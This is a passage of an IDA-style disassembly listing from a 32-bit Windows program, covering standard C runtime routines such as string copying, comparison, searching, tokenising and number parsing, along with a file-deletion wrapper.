jmp short loc_41C224
; ---------------------------------------------------------------------------
loc_41C21E: ; CODE XREF: sub_41C1A1+6Cj
; sub_41C1A1+71j
lea ecx, [eax+1]
mov [ebp+arg_4], ecx
loc_41C224: ; CODE XREF: sub_41C1A1+67j
; sub_41C1A1+76j ...
inc eax
cmp byte ptr [eax], 0
jnz short loc_41C1F9
mov edi, [ebp+arg_4]
mov [ebp+arg_0], eax
test edi, edi
jz short loc_41C25E
cmp [ebp+arg_8], 0
jz short loc_41C259
sub edi, ebx
cmp edi, esi
jb short loc_41C242
mov edi, esi
loc_41C242: ; CODE XREF: sub_41C1A1+9Dj
push edi
push ebx
push [ebp+arg_8]
call sub_420A89
mov eax, [ebp+arg_8]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C259: ; CODE XREF: sub_41C1A1+97j
mov ebx, [ebp+arg_4]
jmp short loc_41C268
; ---------------------------------------------------------------------------
loc_41C25E: ; CODE XREF: sub_41C1A1+56j
; sub_41C1A1+91j
mov ecx, [ebp+arg_8]
test ecx, ecx
jz short loc_41C268
and byte ptr [ecx], 0
loc_41C268: ; CODE XREF: sub_41C1A1+BBj
; sub_41C1A1+C2j
mov edi, [ebp+var_4]
test edi, edi
jz short loc_41C2BB
cmp edi, ebx
jb short loc_41C2BB
cmp [ebp+arg_C], 0
jz short loc_41C298
sub edi, ebx
cmp edi, esi
jb short loc_41C281
mov edi, esi
loc_41C281: ; CODE XREF: sub_41C1A1+DCj
push edi
push ebx
push [ebp+arg_C]
call sub_420A89
mov eax, [ebp+arg_C]
add esp, 0Ch
and byte ptr [edi+eax], 0
mov eax, [ebp+arg_0]
loc_41C298: ; CODE XREF: sub_41C1A1+D6j
mov edi, [ebp+arg_10]
test edi, edi
jz short loc_41C2E3
sub eax, [ebp+var_4]
cmp eax, esi
jnb short loc_41C2A8
mov esi, eax
loc_41C2A8: ; CODE XREF: sub_41C1A1+103j
push esi
push [ebp+var_4]
push edi
call sub_420A89
add esp, 0Ch
and byte ptr [esi+edi], 0
jmp short loc_41C2E3
; ---------------------------------------------------------------------------
loc_41C2BB: ; CODE XREF: sub_41C1A1+CCj
; sub_41C1A1+D0j
mov edi, [ebp+arg_C]
test edi, edi
jz short loc_41C2D9
sub eax, ebx
cmp eax, esi
jnb short loc_41C2CA
mov esi, eax
loc_41C2CA: ; CODE XREF: sub_41C1A1+125j
push esi
push ebx
push edi
call sub_420A89
add esp, 0Ch
and byte ptr [esi+edi], 0
loc_41C2D9: ; CODE XREF: sub_41C1A1+11Fj
mov eax, [ebp+arg_10]
test eax, eax
jz short loc_41C2E3
and byte ptr [eax], 0
loc_41C2E3: ; CODE XREF: sub_41C1A1+FCj
; sub_41C1A1+118j ...
pop edi
pop esi
pop ebx
leave
retn
sub_41C1A1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C2F0 proc near ; CODE XREF: sub_4019F7+8p
; sub_401B66+8p ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_41C310
loc_41C2FC: ; CODE XREF: sub_41C2F0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_41C2FC
loc_41C310: ; CODE XREF: sub_41C2F0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_41C2F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C31F proc near ; CODE XREF: sub_401B66+7438p
; sub_401B66+7465p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push ebx
mov ebx, [ebp+arg_0]
push edi
mov edi, ebx
jg short loc_41C333
xor eax, eax
jmp short loc_41C369
; ---------------------------------------------------------------------------
loc_41C333: ; CODE XREF: sub_41C31F+Ej
dec [ebp+arg_4]
push esi
jz short loc_41C363
mov esi, [ebp+arg_8]
loc_41C33C: ; CODE XREF: sub_41C31F+42j
dec dword ptr [esi+4]
js short loc_41C34B
mov ecx, [esi]
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
jmp short loc_41C352
; ---------------------------------------------------------------------------
loc_41C34B: ; CODE XREF: sub_41C31F+20j
push esi
call sub_41F843
pop ecx
loc_41C352: ; CODE XREF: sub_41C31F+2Aj
cmp eax, 0FFFFFFFFh
jz short loc_41C36D
mov [edi], al
inc edi
cmp al, 0Ah
jz short loc_41C363
dec [ebp+arg_4]
jnz short loc_41C33C
loc_41C363: ; CODE XREF: sub_41C31F+18j
; sub_41C31F+3Dj ...
and byte ptr [edi], 0
loc_41C366: ; CODE XREF: sub_41C31F+55j
mov eax, ebx
pop esi
loc_41C369: ; CODE XREF: sub_41C31F+12j
pop edi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41C36D: ; CODE XREF: sub_41C31F+36j
cmp edi, [ebp+arg_0]
jnz short loc_41C363
xor ebx, ebx
jmp short loc_41C366
sub_41C31F endp
; =============== S U B R O U T I N E =======================================
sub_41C376 proc near ; CODE XREF: sub_41E48A+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C38D
add esp, 10h
retn
sub_41C376 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C38D proc near ; CODE XREF: sub_41C376+Ep
; sub_41C595+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41C3A5: ; CODE XREF: sub_41C38D+46j
cmp dword_43F1F4, 1
jle short loc_41C3BD
movzx eax, bl
push 8
push eax
call sub_41FD15
pop ecx
pop ecx
jmp short loc_41C3CC
; ---------------------------------------------------------------------------
loc_41C3BD: ; CODE XREF: sub_41C38D+1Fj
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_41C3CC: ; CODE XREF: sub_41C38D+2Ej
test eax, eax
jz short loc_41C3D5
mov bl, [esi]
inc esi
jmp short loc_41C3A5
; ---------------------------------------------------------------------------
loc_41C3D5: ; CODE XREF: sub_41C38D+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_41C3E3
or [ebp+arg_C], 2
jmp short loc_41C3E8
; ---------------------------------------------------------------------------
loc_41C3E3: ; CODE XREF: sub_41C38D+4Ej
cmp bl, 2Bh
jnz short loc_41C3EE
loc_41C3E8: ; CODE XREF: sub_41C38D+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_41C3EE: ; CODE XREF: sub_41C38D+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41C585
cmp eax, 1
jz loc_41C585
cmp eax, 24h
jg loc_41C585
push 10h
test eax, eax
pop ecx
jnz short loc_41C436
cmp bl, 30h
jz short loc_41C420
mov [ebp+arg_8], 0Ah
jmp short loc_41C452
; ---------------------------------------------------------------------------
loc_41C420: ; CODE XREF: sub_41C38D+88j
mov al, [esi]
cmp al, 78h
jz short loc_41C433
cmp al, 58h
jz short loc_41C433
mov [ebp+arg_8], 8
jmp short loc_41C452
; ---------------------------------------------------------------------------
loc_41C433: ; CODE XREF: sub_41C38D+97j
; sub_41C38D+9Bj
mov [ebp+arg_8], ecx
loc_41C436: ; CODE XREF: sub_41C38D+83j
cmp [ebp+arg_8], ecx
jnz short loc_41C452
cmp bl, 30h
jnz short loc_41C452
mov al, [esi]
cmp al, 78h
jz short loc_41C44A
cmp al, 58h
jnz short loc_41C452
loc_41C44A: ; CODE XREF: sub_41C38D+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_41C452: ; CODE XREF: sub_41C38D+91j
; sub_41C38D+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_41C462: ; CODE XREF: sub_41C38D+16Cj
cmp dword_43F1F4, 1
movzx esi, bl
jle short loc_41C47A
push 4
push esi
call sub_41FD15
pop ecx
pop ecx
jmp short loc_41C485
; ---------------------------------------------------------------------------
loc_41C47A: ; CODE XREF: sub_41C38D+DFj
mov eax, off_43EFE8
mov al, [eax+esi*2]
and eax, 4
loc_41C485: ; CODE XREF: sub_41C38D+EBj
test eax, eax
jz short loc_41C491
movsx ecx, bl
sub ecx, 30h
jmp short loc_41C4C3
; ---------------------------------------------------------------------------
loc_41C491: ; CODE XREF: sub_41C38D+FAj
cmp dword_43F1F4, 1
jle short loc_41C4A5
push edi
push esi
call sub_41FD15
pop ecx
pop ecx
jmp short loc_41C4B0
; ---------------------------------------------------------------------------
loc_41C4A5: ; CODE XREF: sub_41C38D+10Bj
mov eax, off_43EFE8
mov ax, [eax+esi*2]
and eax, edi
loc_41C4B0: ; CODE XREF: sub_41C38D+116j
test eax, eax
jz short loc_41C4FE
movsx eax, bl
push eax
call sub_420B13
pop ecx
mov ecx, eax
sub ecx, 37h
loc_41C4C3: ; CODE XREF: sub_41C38D+102j
cmp ecx, [ebp+arg_8]
jnb short loc_41C4FE
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41C4E8
jnz short loc_41C4E2
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41C4E8
loc_41C4E2: ; CODE XREF: sub_41C38D+147j
or [ebp+arg_C], 4
jmp short loc_41C4F1
; ---------------------------------------------------------------------------
loc_41C4E8: ; CODE XREF: sub_41C38D+145j
; sub_41C38D+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_41C4F1: ; CODE XREF: sub_41C38D+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_41C462
; ---------------------------------------------------------------------------
loc_41C4FE: ; CODE XREF: sub_41C38D+125j
; sub_41C38D+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_41C51C
test edx, edx
jz short loc_41C516
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41C516: ; CODE XREF: sub_41C38D+181j
and [ebp+var_8], 0
jmp short loc_41C569
; ---------------------------------------------------------------------------
loc_41C51C: ; CODE XREF: sub_41C38D+17Dj
test cl, 4
mov eax, 7FFFFFFFh
jnz short loc_41C542
test cl, 1
jnz short loc_41C569
and ecx, 2
jz short loc_41C539
cmp [ebp+var_8], 80000000h
ja short loc_41C542
loc_41C539: ; CODE XREF: sub_41C38D+1A1j
test ecx, ecx
jnz short loc_41C569
cmp [ebp+var_8], eax
jbe short loc_41C569
loc_41C542: ; CODE XREF: sub_41C38D+197j
; sub_41C38D+1AAj
test byte ptr [ebp+arg_C], 1
mov dword_4DE02C, 22h
jz short loc_41C558
or [ebp+var_8], 0FFFFFFFFh
jmp short loc_41C569
; ---------------------------------------------------------------------------
loc_41C558: ; CODE XREF: sub_41C38D+1C3j
mov ecx, [ebp+arg_C]
and cl, 2
neg cl
sbb ecx, ecx
neg ecx
add ecx, eax
mov [ebp+var_8], ecx
loc_41C569: ; CODE XREF: sub_41C38D+18Dj
; sub_41C38D+19Cj ...
test edx, edx
jz short loc_41C572
mov eax, [ebp+var_4]
mov [edx], eax
loc_41C572: ; CODE XREF: sub_41C38D+1DEj
test byte ptr [ebp+arg_C], 2
jz short loc_41C580
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_41C580: ; CODE XREF: sub_41C38D+1E9j
mov eax, [ebp+var_8]
jmp short loc_41C590
; ---------------------------------------------------------------------------
loc_41C585: ; CODE XREF: sub_41C38D+66j
; sub_41C38D+6Fj ...
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_41C58E
mov [eax], edi
loc_41C58E: ; CODE XREF: sub_41C38D+1FDj
xor eax, eax
loc_41C590: ; CODE XREF: sub_41C38D+1F6j
pop edi
pop esi
pop ebx
leave
retn
sub_41C38D endp
; =============== S U B R O U T I N E =======================================
sub_41C595 proc near ; CODE XREF: sub_401B66+60EDp
; sub_401B66+6916p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41C38D
add esp, 10h
retn
sub_41C595 endp
; =============== S U B R O U T I N E =======================================
sub_41C5AC proc near ; CODE XREF: sub_401B66+5894p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_428080 ; DeleteFileA
test eax, eax
jnz short loc_41C5C2
call dword_42808C ; RtlGetLastWin32Error
jmp short loc_41C5C4
; ---------------------------------------------------------------------------
loc_41C5C2: ; CODE XREF: sub_41C5AC+Cj
xor eax, eax
loc_41C5C4: ; CODE XREF: sub_41C5AC+14j
test eax, eax
jz short loc_41C5D3
push eax
call sub_420BDF
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_41C5D3: ; CODE XREF: sub_41C5AC+1Aj
xor eax, eax
retn
sub_41C5AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C5D6 proc near ; CODE XREF: sub_401B66+5800p
; sub_41226B+8Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_420C46
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41FE9F
push [ebp+arg_0]
mov edi, eax
push esi
call sub_420CD3
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_41C5D6 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C610 proc near ; CODE XREF: sub_401B66+1DA7p
; sub_401B66+1DC6p ...
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
push edi
mov edi, [ebp+arg_0]
xor eax, eax
or ecx, 0FFFFFFFFh
repne scasb
inc ecx
neg ecx
dec edi
mov al, [ebp+arg_4]
std
repne scasb
inc edi
cmp [edi], al
jz short loc_41C631
xor eax, eax
jmp short loc_41C633
; ---------------------------------------------------------------------------
loc_41C631: ; CODE XREF: sub_41C610+1Bj
mov eax, edi
loc_41C633: ; CODE XREF: sub_41C610+1Fj
cld
pop edi
leave
retn
sub_41C610 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C640 proc near ; CODE XREF: sub_401B66+7D2p
; sub_41E48A+93p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov ecx, [ebp+arg_8]
jecxz short loc_41C671
mov ebx, ecx
mov edi, [ebp+arg_0]
mov esi, edi
xor eax, eax
repne scasb
neg ecx
add ecx, ebx
mov edi, esi
mov esi, [ebp+arg_4]
repe cmpsb
mov al, [esi-1]
xor ecx, ecx
cmp al, [edi-1]
ja short loc_41C66F
jz short loc_41C671
dec ecx
dec ecx
loc_41C66F: ; CODE XREF: sub_41C640+29j
not ecx
loc_41C671: ; CODE XREF: sub_41C640+9j
; sub_41C640+2Bj
mov eax, ecx
pop ebx
pop esi
pop edi
leave
retn
sub_41C640 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C680 proc near ; CODE XREF: sub_401B66+3D3p
; sub_401B66+2FD4p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_41C6F1
sub_41C680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C690 proc near ; CODE XREF: sub_401B66+3DFp
; sub_401B66+74C6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_41C6AC
loc_41C69D: ; CODE XREF: sub_41C690+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_41C6DF
test ecx, 3
jnz short loc_41C69D
loc_41C6AC: ; CODE XREF: sub_41C690+Bj
; sub_41C690+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41C6AC
mov eax, [ecx-4]
test al, al
jz short loc_41C6EE
test ah, ah
jz short loc_41C6E9
test eax, 0FF0000h
jz short loc_41C6E4
test eax, 0FF000000h
jz short loc_41C6DF
jmp short loc_41C6AC
; ---------------------------------------------------------------------------
loc_41C6DF: ; CODE XREF: sub_41C690+12j
; sub_41C690+4Bj
lea edi, [ecx-1]
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C6E4: ; CODE XREF: sub_41C690+44j
lea edi, [ecx-2]
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C6E9: ; CODE XREF: sub_41C690+3Dj
lea edi, [ecx-3]
jmp short loc_41C6F1
; ---------------------------------------------------------------------------
loc_41C6EE: ; CODE XREF: sub_41C690+39j
lea edi, [ecx-4]
loc_41C6F1: ; CODE XREF: sub_41C680+5j
; sub_41C690+52j ...
mov ecx, [esp+4+arg_4]
test ecx, 3
jz short loc_41C716
loc_41C6FD: ; CODE XREF: sub_41C690+7Dj
mov dl, [ecx]
inc ecx
test dl, dl
jz short loc_41C768
mov [edi], dl
inc edi
test ecx, 3
jnz short loc_41C6FD
jmp short loc_41C716
; ---------------------------------------------------------------------------
loc_41C711: ; CODE XREF: sub_41C690+9Ej
; sub_41C690+B8j
mov [edi], edx
add edi, 4
loc_41C716: ; CODE XREF: sub_41C690+6Bj
; sub_41C690+7Fj
mov edx, 7EFEFEFFh
mov eax, [ecx]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [ecx]
add ecx, 4
test eax, 81010100h
jz short loc_41C711
test dl, dl
jz short loc_41C768
test dh, dh
jz short loc_41C75F
test edx, 0FF0000h
jz short loc_41C752
test edx, 0FF000000h
jz short loc_41C74A
jmp short loc_41C711
; ---------------------------------------------------------------------------
loc_41C74A: ; CODE XREF: sub_41C690+B6j
mov [edi], edx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C752: ; CODE XREF: sub_41C690+AEj
mov [edi], dx
mov eax, [esp+4+arg_0]
mov byte ptr [edi+2], 0
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C75F: ; CODE XREF: sub_41C690+A6j
mov [edi], dx
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C768: ; CODE XREF: sub_41C690+72j
; sub_41C690+A2j
mov [edi], dl
mov eax, [esp+4+arg_0]
pop edi
retn
sub_41C690 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41C780
loc_41C770: ; CODE XREF: sub_41C780+1Dj
lea eax, [edx-1]
pop ebx
retn
; END OF FUNCTION CHUNK FOR sub_41C780
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C780 proc near ; CODE XREF: sub_401B66+3BDp
; sub_401B66+449p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
; FUNCTION CHUNK AT 0041C770 SIZE 00000005 BYTES
xor eax, eax
mov al, [esp+arg_4]
loc_41C786: ; CODE XREF: sub_41C0D0+6Ej
push ebx
mov ebx, eax
shl eax, 8
mov edx, [esp+4+arg_0]
test edx, 3
jz short loc_41C7AB
loc_41C798: ; CODE XREF: sub_41C780+29j
mov cl, [edx]
inc edx
cmp cl, bl
jz short loc_41C770
test cl, cl
jz short loc_41C7F4
test edx, 3
jnz short loc_41C798
loc_41C7AB: ; CODE XREF: sub_41C780+16j
or ebx, eax
push edi
mov eax, ebx
shl ebx, 10h
push esi
or ebx, eax
loc_41C7B6: ; CODE XREF: sub_41C780+61j
; sub_41C780+70j ...
mov ecx, [edx]
mov edi, 7EFEFEFFh
mov eax, ecx
mov esi, edi
xor ecx, ebx
add esi, eax
add edi, ecx
xor ecx, 0FFFFFFFFh
xor eax, 0FFFFFFFFh
xor ecx, edi
xor eax, esi
add edx, 4
and ecx, 81010100h
jnz short loc_41C7F8
and eax, 81010100h
jz short loc_41C7B6
and eax, 1010100h
jnz short loc_41C7F2
and esi, 80000000h
jnz short loc_41C7B6
loc_41C7F2: ; CODE XREF: sub_41C780+68j
; sub_41C780+81j ...
pop esi
pop edi
loc_41C7F4: ; CODE XREF: sub_41C780+21j
pop ebx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C7F8: ; CODE XREF: sub_41C780+5Aj
mov eax, [edx-4]
cmp al, bl
jz short loc_41C835
test al, al
jz short loc_41C7F2
cmp ah, bl
jz short loc_41C82E
test ah, ah
jz short loc_41C7F2
shr eax, 10h
cmp al, bl
jz short loc_41C827
test al, al
jz short loc_41C7F2
cmp ah, bl
jz short loc_41C820
test ah, ah
jz short loc_41C7F2
jmp short loc_41C7B6
; ---------------------------------------------------------------------------
loc_41C820: ; CODE XREF: sub_41C780+98j
pop esi
pop edi
lea eax, [edx-1]
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C827: ; CODE XREF: sub_41C780+90j
lea eax, [edx-2]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C82E: ; CODE XREF: sub_41C780+85j
lea eax, [edx-3]
pop esi
pop edi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41C835: ; CODE XREF: sub_41C780+7Dj
lea eax, [edx-4]
pop esi
pop edi
pop ebx
retn
sub_41C780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41C840 proc near ; CODE XREF: sub_401B66+1A0p
; sub_401B66+1F7p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41C88C
loc_41C850: ; CODE XREF: sub_41C840+3Cj
; sub_41C840+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_41C884
or al, al
jz short loc_41C880
cmp ah, [ecx+1]
jnz short loc_41C884
or ah, ah
jz short loc_41C880
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_41C884
or al, al
jz short loc_41C880
cmp ah, [ecx+3]
jnz short loc_41C884
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_41C850
mov edi, edi
loc_41C880: ; CODE XREF: sub_41C840+18j
; sub_41C840+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C884: ; CODE XREF: sub_41C840+14j
; sub_41C840+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41C88C: ; CODE XREF: sub_41C840+Ej
test edx, 1
jz short loc_41C8A8
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_41C884
inc ecx
or al, al
jz short loc_41C880
test edx, 2
jz short loc_41C850
loc_41C8A8: ; CODE XREF: sub_41C840+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_41C884
or al, al
jz short loc_41C880
cmp ah, [ecx+1]
jnz short loc_41C884
or ah, ah
jz short loc_41C880
add ecx, 2
jmp short loc_41C850
sub_41C840 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8C4 proc near ; CODE XREF: sub_401B66+B5p
; sub_401B66+C8p ...
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_41C8DD: ; CODE XREF: sub_41C8C4+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_41C8DD
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_41C905
mov edx, dword_4DE078
loc_41C905: ; CODE XREF: sub_41C8C4+39j
; sub_41C8C4+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_41C925
test al, al
jz short loc_41C925
inc edx
jmp short loc_41C905
; ---------------------------------------------------------------------------
loc_41C925: ; CODE XREF: sub_41C8C4+58j
; sub_41C8C4+5Cj
mov ebx, edx
loc_41C927: ; CODE XREF: sub_41C8C4+81j
mov al, [edx]
test al, al
jz short loc_41C94B
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_41C947
inc edx
jmp short loc_41C927
; ---------------------------------------------------------------------------
loc_41C947: ; CODE XREF: sub_41C8C4+7Ej
and byte ptr [edx], 0
inc edx
loc_41C94B: ; CODE XREF: sub_41C8C4+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov dword_4DE078, edx
and eax, ebx
pop ebx
leave
retn
sub_41C8C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C960 proc near ; CODE XREF: sub_40993C+1Cp
; sub_415819+19p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push [ebp+arg_C]
mov [ebp+var_18], eax
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov [ebp+var_1C], eax
lea eax, [ebp+var_20]
mov [ebp+var_14], 42h
push eax
call sub_41FE9F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C99E
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C9AB
; ---------------------------------------------------------------------------
loc_41C99E: ; CODE XREF: sub_41C960+34j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FD8A
pop ecx
pop ecx
loc_41C9AB: ; CODE XREF: sub_41C960+3Cj
mov eax, esi
pop esi
leave
retn
sub_41C960 endp
; =============== S U B R O U T I N E =======================================
sub_41C9B0 proc near ; CODE XREF: sub_40AEC2+46p
; sub_40B4C9+60p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz loc_41CA64
mov edi, [esp+4+arg_0]
push esi
test edi, 3
push ebx
jz short loc_41C9DA
loc_41C9CB: ; CODE XREF: sub_41C9B0+28j
mov al, [edi]
inc edi
test al, al
jz short loc_41CA0B
test edi, 3
jnz short loc_41C9CB
loc_41C9DA: ; CODE XREF: sub_41C9B0+19j
; sub_41C9B0+40j ...
mov eax, [edi]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add edi, 4
test eax, 81010100h
jz short loc_41C9DA
mov eax, [edi-4]
test al, al
jz short loc_41CA18
test ah, ah
jz short loc_41CA13
test eax, 0FF0000h
jz short loc_41CA0E
test eax, 0FF000000h
jnz short loc_41C9DA
loc_41CA0B: ; CODE XREF: sub_41C9B0+20j
dec edi
jmp short loc_41CA1B
; ---------------------------------------------------------------------------
loc_41CA0E: ; CODE XREF: sub_41C9B0+52j
sub edi, 2
jmp short loc_41CA1B
; ---------------------------------------------------------------------------
loc_41CA13: ; CODE XREF: sub_41C9B0+4Bj
sub edi, 3
jmp short loc_41CA1B
; ---------------------------------------------------------------------------
loc_41CA18: ; CODE XREF: sub_41C9B0+47j
sub edi, 4
loc_41CA1B: ; CODE XREF: sub_41C9B0+5Cj
; sub_41C9B0+61j ...
mov esi, [esp+0Ch+arg_4]
test esi, 3
jnz short loc_41CA30
mov ebx, ecx
shr ecx, 2
jnz short loc_41CA7C
jmp short loc_41CA4C
; ---------------------------------------------------------------------------
loc_41CA30: ; CODE XREF: sub_41C9B0+75j
; sub_41C9B0+93j
mov dl, [esi]
inc esi
test dl, dl
jz short loc_41CA6A
mov [edi], dl
inc edi
dec ecx
jz short loc_41CA60
test esi, 3
jnz short loc_41CA30
mov ebx, ecx
shr ecx, 2
jnz short loc_41CA7C
loc_41CA4C: ; CODE XREF: sub_41C9B0+7Ej
; sub_41C9B0+CAj
mov ecx, ebx
and ecx, 3
jz short loc_41CA60
loc_41CA53: ; CODE XREF: sub_41C9B0+AEj
mov dl, [esi]
inc esi
mov [edi], dl
inc edi
test dl, dl
jz short loc_41CA62
dec ecx
jnz short loc_41CA53
loc_41CA60: ; CODE XREF: sub_41C9B0+8Bj
; sub_41C9B0+A1j
mov [edi], cl
loc_41CA62: ; CODE XREF: sub_41C9B0+ABj
pop ebx
pop esi
loc_41CA64: ; CODE XREF: sub_41C9B0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41CA6A: ; CODE XREF: sub_41C9B0+85j
; sub_41C9B0+E8j
